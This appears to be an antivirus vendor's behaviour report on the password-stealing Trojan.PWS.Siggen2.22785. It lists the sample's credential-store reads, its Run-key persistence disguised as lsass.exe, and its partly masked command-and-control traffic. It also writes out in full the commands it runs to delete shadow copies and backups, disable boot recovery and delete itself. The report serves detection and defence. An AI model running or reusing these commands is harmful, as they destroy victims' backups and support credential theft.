Trojan.PWS.Siggen2.22785

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Local Security Authority Subsystem Service' = '"%APPDATA%\Microsoft\Windows\lsass.exe" *'

Malicious functions

To complicate detection of its presence in the operating system,

deletes volume shadow copies.

Injects code into

the following system processes:

%WINDIR%\syswow64\cmd.exe
<SYSTEM32>\conhost.exe

the following user processes:

lsass.exe

Searches for registry branches where third party applications store passwords

[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]

Reads files which store third party applications passwords

%APPDATA%\mozilla\firefox\profiles.ini
<LS_APPDATA>\google\chrome\user data\default\cookies
<LS_APPDATA>\google\chrome\user data\default\web data

Modifies file system

Creates the following files

%TEMP%\4dd3.tmp
%TEMP%\5ba3.tmp.exe
%TEMP%\10717184228838288323811.tmp
%TEMP%\10716564217109728741990.tmp
%TEMP%\5748da1e\vcruntime140.dll
%TEMP%\5748da1e\ucrtbase.dll
%TEMP%\5748da1e\softokn3.dll
%TEMP%\5748da1e\nssdbm3.dll
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%TEMP%\5748da1e\nss3.dll
%TEMP%\5748da1e\mozglue.dll
%TEMP%\5748da1e\freebl3.dll
%TEMP%\5748da1e\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\5748da1e\msvcp140.dll
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
<LS_APPDATA>\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\8ca64e03.buran
%APPDATA%\microsoft\windows\cookies\user@instacamroulette[1].txt
%TEMP%\1075062489228478562355.tmp-shm
%TEMP%\1075062489228478562355.tmp
%TEMP%\1075031891437402381395.tmp
%TEMP%\10750004612694259534112.tmp
%TEMP%\10749846688272294645282.tmp
%TEMP%\10749684934360843182362.tmp
%TEMP%\1074953522180055953147.tmp
%TEMP%\1074937254318289458725.tmp
%TEMP%\107493752562742683613.tmp
%TEMP%\10748124436294992981755.tmp-shm
%TEMP%\10748124436294992981755.tmp
%TEMP%\10747187011519072252030.tmp
%TEMP%\1074718678520669865118.tmp
%TEMP%\5e5e.tmp-shm
%TEMP%\5e5e.tmp
%TEMP%\5748da1e\api-ms-win-crt-process-l1-1-0.dll
%APPDATA%\microsoft\windows\lsass.exe
%TEMP%\5748da1e\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l2-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-console-l1-1-0.dll
%TEMP%\54bc.tmp.exe
%TEMP%\4e53.tmp.exe
%TEMP%\4bd1.tmp.exe
%TEMP%\4817.tmp.exe
%APPDATA%\dcgsdrf
%APPDATA%\ubfwvrd
%TEMP%\5748da1e\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-util-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-string-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\5748da1e\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-multibyte-l1-1-0.dll
%TEMP%\49196560.buran

Sets the 'hidden' attribute to the following files

%APPDATA%\ubfwvrd
%APPDATA%\dcgsdrf

Deletes the following files

%TEMP%\10716564217109728741990.tmp
%TEMP%\5748da1e\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-util-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-multibyte-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\5748da1e\freebl3.dll
%TEMP%\5748da1e\mozglue.dll
%TEMP%\5748da1e\msvcp140.dll
%TEMP%\5748da1e\nss3.dll
%TEMP%\5748da1e\nssdbm3.dll
%TEMP%\5748da1e\softokn3.dll
%TEMP%\5748da1e\ucrtbase.dll
%TEMP%\5748da1e\vcruntime140.dll
%TEMP%\8ca64e03.buran
%TEMP%\5748da1e\api-ms-win-core-string-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\1074718678520669865118.tmp
%TEMP%\10747187011519072252030.tmp
%TEMP%\10748124436294992981755.tmp-shm
%TEMP%\10748124436294992981755.tmp
%TEMP%\107493752562742683613.tmp
%TEMP%\1074937254318289458725.tmp
%TEMP%\1074953522180055953147.tmp
%TEMP%\10749684934360843182362.tmp
%TEMP%\10749846688272294645282.tmp
%TEMP%\10750004612694259534112.tmp
%TEMP%\1075031891437402381395.tmp
%TEMP%\1075062489228478562355.tmp-shm
%TEMP%\1075062489228478562355.tmp
%TEMP%\5ba3.tmp.exe
%TEMP%\5748da1e\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-console-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-file-l2-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\5748da1e\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\5748da1e\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\10717184228838288323811.tmp
%TEMP%\5748da1e\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\49196560.buran

Deletes itself.

Network activity

Connects to

'ip##gger.ru':443

TCP

HTTP GET requests

http://www.ms###csi.com/ncsi.txt
http://pr####t-01252505.ml/azor.exe
http://ge###tool.com/
http://ip##pi.com/json
http://ip##gger.ru/1c6647.html

HTTP POST requests

http://te######vice012505.ru.com/
http://pr####t-01252505.ml/
http://vi####nage101.tk/webaz.php
http://in#####mroulette.com/api/check.get
http://in#####mroulette.com/api/gate.get?p1############################################

UDP

DNS ASK pr####t-01242505.tk
DNS ASK al######service012505.ru
DNS ASK vs######service012505.ru
DNS ASK ne######service012505.ru
DNS ASK bi######service012505.ru
DNS ASK te######vice01shop2505.ru
DNS ASK te######vice01info2505.ru
DNS ASK te######vice01plus2505.ru
DNS ASK te######vice01club2505.ru
DNS ASK te######vice01torg2505.ru
DNS ASK te######vice01land2505.ru
DNS ASK te######vice01life2505.ru
DNS ASK te######vice01blog2505.ru
DNS ASK me######-service012505.ru
DNS ASK in######-service012505.ru
DNS ASK be######-service012505.ru
DNS ASK sh######-service012505.ru
DNS ASK ku######-service012505.ru
DNS ASK pr######-service012505.ru
DNS ASK cl######-service012505.ru
DNS ASK my######ervice01242505.ru
DNS ASK ru######ervice01242505.ru
DNS ASK te######vice01stroy2505.ru
DNS ASK te######vice01forum2505.ru
DNS ASK su######t-service012505.ru
DNS ASK pr######service01242505.ru
DNS ASK pr####t-01252505.ml
DNS ASK vi####nage101.tk
DNS ASK ge###tool.com
DNS ASK ip##pi.com
DNS ASK to######service012505.ru
DNS ASK in#####mroulette.com
DNS ASK mo######service012505.ru
DNS ASK te#####rvice012505.host
DNS ASK te######vice012505.ru.com
DNS ASK te#####rvice012505.pw
DNS ASK te#####rvice012505.com
DNS ASK te#####rvice012505.site
DNS ASK te######vice012505.store
DNS ASK te#####rvice01242505.ru
DNS ASK my#####service012505.ru
DNS ASK te#####rvice012505.su
DNS ASK te#####rvice012505.info
DNS ASK te#####rvice012505.net
DNS ASK te#####rvice012505.tech
DNS ASK te######vice012505.online
DNS ASK ru#####service012505.ru
DNS ASK te######vice01dom2505.ru
DNS ASK te######vice012505.website
DNS ASK te#####rvice012505.xyz
DNS ASK te######vice01pro2505.ru
DNS ASK te######vice01rus2505.ru
DNS ASK te#####rvice012505.eu
DNS ASK te######vice012505.press
DNS ASK pr######service012505.ru
DNS ASK ru######service012505.ru
DNS ASK te#######ice012505.net2505.ru
DNS ASK te######vice012505.space
DNS ASK do######service012505.ru
DNS ASK mi######service012505.ru
DNS ASK te#######ice012505.org2505.ru
DNS ASK te#######ice012505.pp2505.ru
DNS ASK te#####rvice012505.pro
DNS ASK te#####rvice012505.fun
DNS ASK ip##gger.ru

Miscellaneous

Creates and executes the following

'%TEMP%\4817.tmp.exe'
'%TEMP%\4bd1.tmp.exe'
'%TEMP%\4e53.tmp.exe'
'%TEMP%\54bc.tmp.exe'
'%TEMP%\5ba3.tmp.exe'
'%APPDATA%\microsoft\windows\lsass.exe' *
'%WINDIR%\syswow64\cmd.exe' /e:on /c md "%APPDATA%\Microsoft\Windows" & copy "%TEMP%\5BA3.tmp.exe" "%APPDATA%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security ...' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%TEMP%\5BA3.tmp.exe" & if not exist "%TEMP%\5BA3.tmp.exe" exit )' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete systemstatebackup' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete systemstatebackup -keepversions:0' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete backup' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet' (with hidden window)

Executes the following

'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\dllhost.exe'
'%WINDIR%\syswow64\cmd.exe' /e:on /c md "%APPDATA%\Microsoft\Windows" & copy "%TEMP%\5BA3.tmp.exe" "%APPDATA%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security ...
'%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%APPDATA%\Microsoft\Windows\lsass.exe\" *"
'%WINDIR%\syswow64\cmd.exe' /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%TEMP%\5BA3.tmp.exe" & if not exist "%TEMP%\5BA3.tmp.exe" exit )
'%WINDIR%\syswow64\ping.exe' -n 3 127.1
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
'%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete systemstatebackup
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete systemstatebackup -keepversions:0
'%WINDIR%\syswow64\cmd.exe' /C wbadmin delete backup
'%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete
'<SYSTEM32>\vssvc.exe'
'%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial